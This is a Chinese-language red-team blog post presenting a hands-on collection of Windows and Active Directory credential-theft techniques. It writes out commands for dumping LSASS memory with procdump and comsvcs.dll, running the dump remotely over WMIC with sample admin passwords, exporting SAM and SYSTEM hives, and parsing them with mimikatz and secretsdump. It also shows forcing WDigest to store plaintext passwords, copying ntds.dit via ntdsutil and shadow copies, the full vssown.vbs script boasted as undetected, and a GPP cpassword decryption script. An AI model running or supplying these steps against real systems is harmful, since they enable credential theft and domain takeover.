内网渗透-windows获取(本地、域、Ntds.dit)登录凭证实战手法总结(超详细)

一、前言

  当获取一台域内主机权限时,接下来的渗透思路就是要获取更高权限的账号,用来访问域控或横向拓展,那么在获取本地用户、域用户凭证和获取域控Ntds.dit这一块就极其重要,以下内容将详细介绍红队渗透中使用获取登录凭证的手法,获取本地用户密码、域用户密码、NTLM hash值与Ntdis.dit。NTLM hash值可用于解析明文、哈希传递和构造票据的攻击手法,之后也会详细介绍。文章中附带相关工具官网下载链接,如果访问不了需要下载请看总结部分。

还不会搭建域环境的同学先看以下这篇详细教程:https://blog.csdn.net/syl321314362/article/details/128838068

二、前置知识

2.1 Sam、System、Security

  sam:存储账号hash,并以syskey加密。
  system:存储syske,用来解密sam。
  security:存储lsass缓存,并以syskey加密。

2.2 Lsass

  lsass.exe 是一个系统重要进程用于微软Windows系统的安全机制。它用于本地安全和登录策略。而SAM的功能就固定于 lsass.exe 中但是 lsass.exe 不仅仅只进行本地身份认证所有正确通过本地、远程身份认证的用户信息都会保存在 lsass.exe 的内存中。

三、本地用户凭证

# 默认位置
system文件位置:C:\Windows\System32\config\SYSTEM
sam文件位置:C:\Windows\System32\config\SAM
sercurity文件位置:C:\Windows\System32\config\sercurity

在这里插入图片描述

3.1 Procdump 微软签名工具导出 Lsass
# 微软签名的工具
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
# 导出lsass
procdump64.exe  -accepteula -ma lsass.exe lsass

在这里插入图片描述

3.2 Comsvcs.dll 自带 Minidump 函数导出 Lsass
# comsvcs.dll自带 Minidump 函数导出lsass
# 查看lsass进程id
tasklist | findstr "lsass.exe"
# 拷贝重命名comsvcs.dll
copy C:\windows\System32\comsvcs.dll c:\windows\temp\temp.dll
# powershell执行minidump
powershell -exec bypass -command "C:\windows\system32\rundll32.exe c:\windows\temp\temp.dll, MiniDump 448 c:\windows\temp\lsass.dmp full"
# 删除temp.dll
del /f /q c:\windows\temp\temp.dll

在这里插入图片描述

3.2.1 Wmic 远程执行 Minidump
wmic /node:192.168.1.1 /user:yishuo\admin /password:"Qwert!2345" process call create "cmd /c tasklist | findstr \"lsass.exe\" > c:\\windows\\temp\\1.txt"

type \\192.168.1.1\c$\windows\temp\1.txt

wmic /node:192.168.1.1 /user:yishuo\admin /password:"Qwert!2345" process call create "cmd /c copy /y C:\\windows\\System32\\comsvcs.dll c:\\windows\\temp\\temp.dll"

dir \\192.168.1.1\c$\windows\temp\temp.dll

wmic /node:192.168.1.1 /user:yishuo\admin /password:"Qwert!2345" process call create "cmd /c powershell -exec bypass -command C:\\windows\\system32\\rundll32.exe c:\\windows\\temp\\temp.dll MiniDump 460 c:\\windows\\temp\\lsass.dmp full"

dir \\192.168.1.1\c$\windows\temp\lsass.dmp

copy \\192.168.1.1\c$\windows\temp\lsass.dmp c:\users\public\lsass.dmp

del /q /f \\192.168.1.1\c$\windows\temp\lsass.dmp \\192.168.1.1\c$\windows\temp\temp.dll

在这里插入图片描述在这里插入图片描述

3.2.2 解析 Lsass
# mimikatz解析lsass
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords

在这里插入图片描述

3.3 Reg 导出 Sam、System、Security
# 需要管理员权限
reg save hklm\sam c:\windows\temp\sam
reg save hklm\system c:\windows\temp\system
reg save hklm\security c:\windows\temp\security

在这里插入图片描述

3.3.1 Wmic 远程执行 Reg 导出 Sam、System、Security
wmic /node:192.168.1.5 /user:yishuo\admin /password:"Qwert!2345" process call create "cmd /c reg save hklm\\sam sam.hive"
dir \\192.168.1.5\c$\windows\temp\sam.hive
3.3.2 解析 Sam、System、Security
# 使用impacket中的secretsdump.py
# 工具下载链接:
# https://github.com/fortra/impacket
# secretsdump.py 使用步骤:
# 1、先安装第三方库 pip install -r requirements.txt 和 python setup.py install
# 2、在目录下找到secretsdump.py文件执行以下命令
python secretsdump.py -sam sam.hive -security security.hive -system system.hive local

# mimikatz
mimikatz "lsadump::sam /sam:sam /system:system /security:security"

在这里插入图片描述

3.4 Mimikatz 获取密码凭证
# 工具下载链接:
# https://github.com/gentilkiwi/mimikatz/releases
# 需要管理员权限,并且被defender等查杀
privilege::debug
sekurlsa::logonpasswords

在这里插入图片描述

3.4.1 Server 2008 以上系统抓不到明文密码解决方案
# server 2008 及以下版本系统可直接抓取明文密码
# 要抓08以上密码需要修改注册表
# 手工修改注册表 + 强制锁屏 + 等待目标系统管理员重新登录 + 导出Hash + 本地mimikatz抓明文

# 查询 
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential

#修改注册表来让Wdigest Auth保存明文口令
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

#恢复
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

#强制锁屏
rundll32.exe user32.dll,LockWorkStation

# 强制锁屏 powershell
Function Lock-WorkStation {
    
    
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation

四、域用户凭证

在DC上执行

Active Directory 数据库 (ntds.dit)

Ntds.dit(也被称为Active Directory database)包含了当前域用户中所有的用户的账号信息,和其HASH值。

# 默认位置
ntds.dit文件位置: C:\Windows\NTDS\NTDS.dit
system文件位置:C:\Windows\System32\config\SYSTEM
sam文件位置:C:\Windows\System32\config\SAM
4.1 使用 NTDSUtil 在 DC 上本地获取 Ntds.dit 文件

推荐使用

#本地获取
ntdsutil "ac i ntds" "ifm" "create full c:\windows\temp\winstore" q q

#wmic远程获取
wmic /node:192.168.1.137 /user:rootkit.org\administrator /password:admin!@#45 process call create "cmd /c ntdsutil \"ac i ntds\" \"ifm\" \"create full c:\\windows\\temp\\winstore\" q q"

#powershell执行
powershell -exec bypass -command "ntdsutil \"ac i ntds\" \"ifm\" \"create full c:\\windows\\temp\\winstore\" q q"

在这里插入图片描述

4.2 使用 VSS 卷影副本远程拉取 Ntds.dit
4.2.1 Vssadmin命令获取 Ntdis .dit
#使用方法,需要管理员权限
#1、本地操作
#(1)创建c盘卷影,获副本卷名
vssadmin create shadow /for=c:\
#(2)从卷影拷贝ntds.dit
copy [副本卷名]\windows\ntds\ntds.dit c:\$Recycle.bin\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit c:\$Recycle.bin\ntds.dit
dir c:\$Recycle.bin\ntds.dit
#(3)删除卷影vssadmin 
vssadmin delete shadows /for=c: /quiet
#(4)查看卷影列表
vssadmin list shadows

在这里插入图片描述

4.2.2 Vssown.vbs 脚本获取 Ntdis.dit
目前免杀率0/55
#文件需要落地
#下载链接https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs
#用法
cscript vssown.vbs /start
cscript vssown.vbs /create c
cscript vssown.vbs /list
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\windows\temp\ntds.dit

在这里插入图片描述

vssown.vbs 脚本源码

REM Volume Shadow Copy Management from CLI.
REM Part of the presentation "Lurking in the Shadows" by Mark Baggett and Tim "LaNMaSteR53" Tomes.
REM Co-developed by Mark Baggett (@MarkBaggett) and Tim Tomes (@lanmaster53).

Set args = WScript.Arguments

if args.Count < 1  Then
  wscript.Echo "Usage: cscript vssown.vbs [option]"
  wscript.Echo
  wscript.Echo "  Options:"
  wscript.Echo
  wscript.Echo "  /list                             - List current volume shadow copies."
  wscript.Echo "  /start                            - Start the shadow copy service."
  wscript.Echo "  /stop                             - Halt the shadow copy service."
  wscript.Echo "  /status                           - Show status of shadow copy service."
  wscript.Echo "  /mode                             - Display the shadow copy service start mode."
  wscript.Echo "  /mode [Manual|Automatic|Disabled] - Change the shadow copy service start mode."
  wscript.Echo "  /create [drive_letter]            - Create a shadow copy."
  wscript.Echo "  /delete [id|*]                    - Delete a specified or all shadow copies."
  wscript.Echo "  /mount [path] [device_object]     - Mount a shadow copy to the given path."
  wscript.Echo "  /execute [\path\to\file]          - Launch executable from within an umounted shadow copy."
  wscript.Echo "  /store                            - Display storage statistics."
  wscript.Echo "  /size [bytes]                     - Set drive space reserved for shadow copies."
  REM build_off
  wscript.Echo "  /build [filename]                 - Print pasteable script to stdout."REM no_build
  REM build_on
  wscript.Quit(0)
End If

strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Select Case args.Item(0)

  Case "/list"
    Wscript.Echo "SHADOW COPIES"
    Wscript.Echo "============="
    Wscript.Echo
    Set colItems = objWMIService.ExecQuery("Select * from Win32_ShadowCopy")
    For Each objItem in colItems
      Wscript.Echo "[*] ID:                  " & objItem.ID
      Wscript.Echo "[*] Client accessible:   " & objItem.ClientAccessible
      Wscript.Echo "[*] Count:               " & objItem.Count
      Wscript.Echo "[*] Device object:       " & objItem.DeviceObject
      Wscript.Echo "[*] Differential:        " & objItem.Differential
      Wscript.Echo "[*] Exposed locally:     " & objItem.ExposedLocally
      Wscript.Echo "[*] Exposed name:        " & objItem.ExposedName
      Wscript.Echo "[*] Exposed remotely:    " & objItem.ExposedRemotely
      Wscript.Echo "[*] Hardware assisted:   " & objItem.HardwareAssisted
      Wscript.Echo "[*] Imported:            " & objItem.Imported
      Wscript.Echo "[*] No auto release:     " & objItem.NoAutoRelease
      Wscript.Echo "[*] Not surfaced:        " & objItem.NotSurfaced
      Wscript.Echo "[*] No writers:          " & objItem.NoWriters
      Wscript.Echo "[*] Originating machine: " & objItem.OriginatingMachine
      Wscript.Echo "[*] Persistent:          " & objItem.Persistent
      Wscript.Echo "[*] Plex:                " & objItem.Plex
      Wscript.Echo "[*] Provider ID:         " & objItem.ProviderID
      Wscript.Echo "[*] Service machine:     " & objItem.ServiceMachine
      Wscript.Echo "[*] Set ID:              " & objItem.SetID
      Wscript.Echo "[*] State:               " & objItem.State
      Wscript.Echo "[*] Transportable:       " & objItem.Transportable
      Wscript.Echo "[*] Volume name:         " & objItem.VolumeName
      Wscript.Echo
    Next
    wscript.Quit(0)

  Case "/start"
    Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
    For Each objService in colListOfServices
      objService.StartService()
      Wscript.Echo "[*] Signal sent to start the " & objService.Name & " service."
    Next
    wscript.Quit(0)

  Case "/stop"
    Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
    For Each objService in colListOfServices
      objService.StopService()
      Wscript.Echo "[*] Signal sent to stop the " & objService.Name & " service."
    Next
    wscript.Quit(0)

  Case "/status"
    Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
    For Each objService in colListOfServices
      Wscript.Echo "[*] " & objService.State
    Next
    wscript.Quit(0)

  Case "/mode"
    Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
    For Each objService in colListOfServices
      if args.Count < 2 Then
        Wscript.Echo "[*] " & objService.Name & " service set to '" & objService.StartMode & "' start mode."        
      Else
        mode = LCase(args.Item(1))
        if mode = "manual" or mode = "automatic" or mode = "disabled" Then
          errResult = objService.ChangeStartMode(mode)
          Wscript.Echo "[*] " & objService.Name & " service set to '" & mode & "' start mode."
        Else
          Wscript.Echo "[*] '" & mode & "' is not a valid start mode."
        End If
      END If
    Next
    wscript.Quit(errResult)    

  Case "/create"
    VOLUME = args.Item(1) & ":\"
    Const CONTEXT = "ClientAccessible"
    Set objShadowStorage = objWMIService.Get("Win32_ShadowCopy")
    Wscript.Echo "[*] Attempting to create a shadow copy."
    errResult = objShadowStorage.Create(VOLUME, CONTEXT, strShadowID)
    wscript.Quit(errResult)

  Case "/delete"
    id = args.Item(1)
    Set colItems = objWMIService.ExecQuery("Select * From Win32_ShadowCopy")
    For Each objItem in colItems
      if objItem.ID = id Then
        Wscript.Echo "[*] Attempting to delete shadow copy with ID: " & id
        errResult = objItem.Delete_
      ElseIf id = "*" Then
        Wscript.Echo "[*] Attempting to delete shadow copy " & objItem.DeviceObject & "."
        errResult = objItem.Delete_
      End If
    Next
    wscript.Quit(errResult)

  Case "/mount"
    Set WshShell = WScript.CreateObject("WScript.Shell")
    link = args.Item(1)
    sc = args.Item(2) & "\"
    cmd = "cmd /C mklink /D " & link & " " & sc
    WshShell.Run cmd, 2, true
    Wscript.Echo "[*] " & sc & " has been mounted to " & link & "."
    wscript.Quit(0)

  Case "/execute"
    file = args.Item(1)
    Set colItems = objWMIService.ExecQuery("Select * From Win32_ShadowCopy")
    Set objProcess = objWMIService.Get("Win32_Process")
    For Each objItem in colItems
      path = Replace(objItem.DeviceObject,"?",".") & file
      intReturn = objProcess.Create(path)
      if intReturn <> 0 Then
        wscript.Echo "[*] Process could not be created from " & path & "."
        wscript.Echo "[*] ReturnValue = " & intReturn
      Else
        wscript.Echo "[!] Process created from " & path & "."
        wscript.Quit(0)
      End If
    Next
    wscript.Quit(0)

  Case "/store"
    Wscript.Echo "SHADOW STORAGE"
    Wscript.Echo "=============="
    Wscript.Echo
    Set colItems = objWMIService.ExecQuery("Select * from Win32_ShadowStorage")
    For Each objItem in colItems
        Wscript.Echo "[*] Allocated space:     " & FormatNumber(objItem.AllocatedSpace / 1000000,0) & "MB"
        Wscript.Echo "[*] Maximum size:        " & FormatNumber(objItem.MaxSpace / 1000000,0) & "MB"
        Wscript.Echo "[*] Used space:          " & FormatNumber(objItem.UsedSpace / 1000000,0) & "MB"
        Wscript.Echo
    Next
    wscript.Quit(0)

  Case "/size"
    storagesize = CDbl(args.Item(1))
    Set colItems = objWMIService.ExecQuery("Select * from Win32_ShadowStorage")
    For Each objItem in colItems
      objItem.MaxSpace = storagesize
      objItem.Put_
    Next
    Wscript.Echo "[*] Shadow storage space has been set to " & FormatNumber(storagesize / 1000000,0) & "MB."
    wscript.Quit(0)

  REM build_off
  Case "/build"
    build = 1
    Const ForReading = 1
    Set objFSO = CreateObject("Scripting.FileSystemObject")
    Set objTextFile = objFSO.OpenTextFile("vssown.vbs", ForReading)
    Do Until objTextFile.AtEndOfStream
      strNextLine = objTextFile.Readline
      if InStr(strNextLine,"REM build_off") = 3 Then
        build = 0
      End If
      if strNextLine <> "" and build = 1 Then
        strNextLine = Replace(strNextLine,"&","^&")
        strNextLine = Replace(strNextLine,">","^>")
        strNextLine = Replace(strNextLine,"<","^<")
        wscript.Echo "echo " & strNextLine & " >> " & args.Item(1)
      End If
      if InStr(strNextLine,"REM build_on") = 3 Then
        build = 1
      End If
    Loop
    wscript.Quit(0)
  REM build_on

End Select
4.3 解析 Ntds.dit
python impacket-master/examples/secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL 
4.4 SYSVOL 和 GPP(组策略偏好)的密码
4.4.1 SYSVOL介绍

  sysvol是一个文件夹,在新建域控的时候会被自动创建,默认目录在c:\windows\sysvol,它是一个共享文件夹,用来存储域上的一些公共文件。sysvol会在域控之间进行复制,保证每台域控的sysvol是同步的。
  但这个sysvol对系统有要求,如果是2003的系统,那么域管账号密码会直接以明文形式存在,之后的像2008,变成了密文,加密是aes256,但密钥进行了公开,所以可以利用脚本直接解密,针对这个问题,微软发了相关的补丁,补丁号是KB2962486,打了这个补丁,域管再进行组策略设置,就不需要输入账号密码了,2012,不打补丁还是有这个隐患,但再往后2016及之后,就默认不可以了。
所以针对2012及之前的服务器,没有打补丁的情况下,可以利用。

例如:

C:\Windows\SYSVOL\sysvol\rootkit.org\Policies\{
    
    AF792A2C-BF19-4B22-84C7-A793D0D822B3}\Machine\Preferences\Groups\groups.xml

查找xml文件

#本地
findstr /s /i "cpassword" C:\Windows\SYSVOL\*.xml
#远程
findstr /s /i "cpassword" \\192.168.1.1\C$\Windows\SYSVOL\*.xml
4.4.2 本地解析GPPPassword

微软官网发布了可用于解密密码的 AES 加密密钥(共享机密)

#解密脚本
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import unpad
import base64
def decrypt_password(pw_enc_b64):
        if len(pw_enc_b64) != 0:
            # thank you MS for publishing the key :) (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be)
            key = b'\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20' \
                  b'\x9b\x09\xa4\x33\xb6\x6c\x1b'
            # thank you MS for using a fixed IV :)
            iv = b'\x00' * 16
            pad = len(pw_enc_b64) % 4
            if pad == 1:
                pw_enc_b64 = pw_enc_b64[:-1]
            elif pad == 2 or pad == 3:
                pw_enc_b64 += '=' * (4 - pad)
            pw_enc = base64.b64decode(pw_enc_b64)
            ctx = AES.new(key, AES.MODE_CBC, iv)
            pw_dec = unpad(ctx.decrypt(pw_enc), ctx.block_size)
            return pw_dec.decode('utf-16-le')
        else:
            logging.debug("cpassword is empty, cannot decrypt anything")
            return ""
# 输入GPPPassword进行解密
print(decrypt_password("Hd/xxCN9bFRTj8C2az+0t3el0u3Dn68pZ1Sd4IHmbPw"))
4.4.3 自动化获取GPPPassword
https://github.com/ShutdownRepo/Get-GPPPassword
# 远程本地都可以
# 先安装第三方库 pip install -r requirements.txt
python Get-GPPPassword.py admin:Qwert!2345@192.168.1.1

五、总结

  红队常用获取本地账户和域用户密码的攻击手法总结,各位师傅有好的意见和建议欢迎评论指教,感谢。微信公众号搜索关注艺说IT,发送消息:凭证工具,立即获取下载链接。对你有用的话请一键三连,感谢。

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/syl321314362/article/details/128868549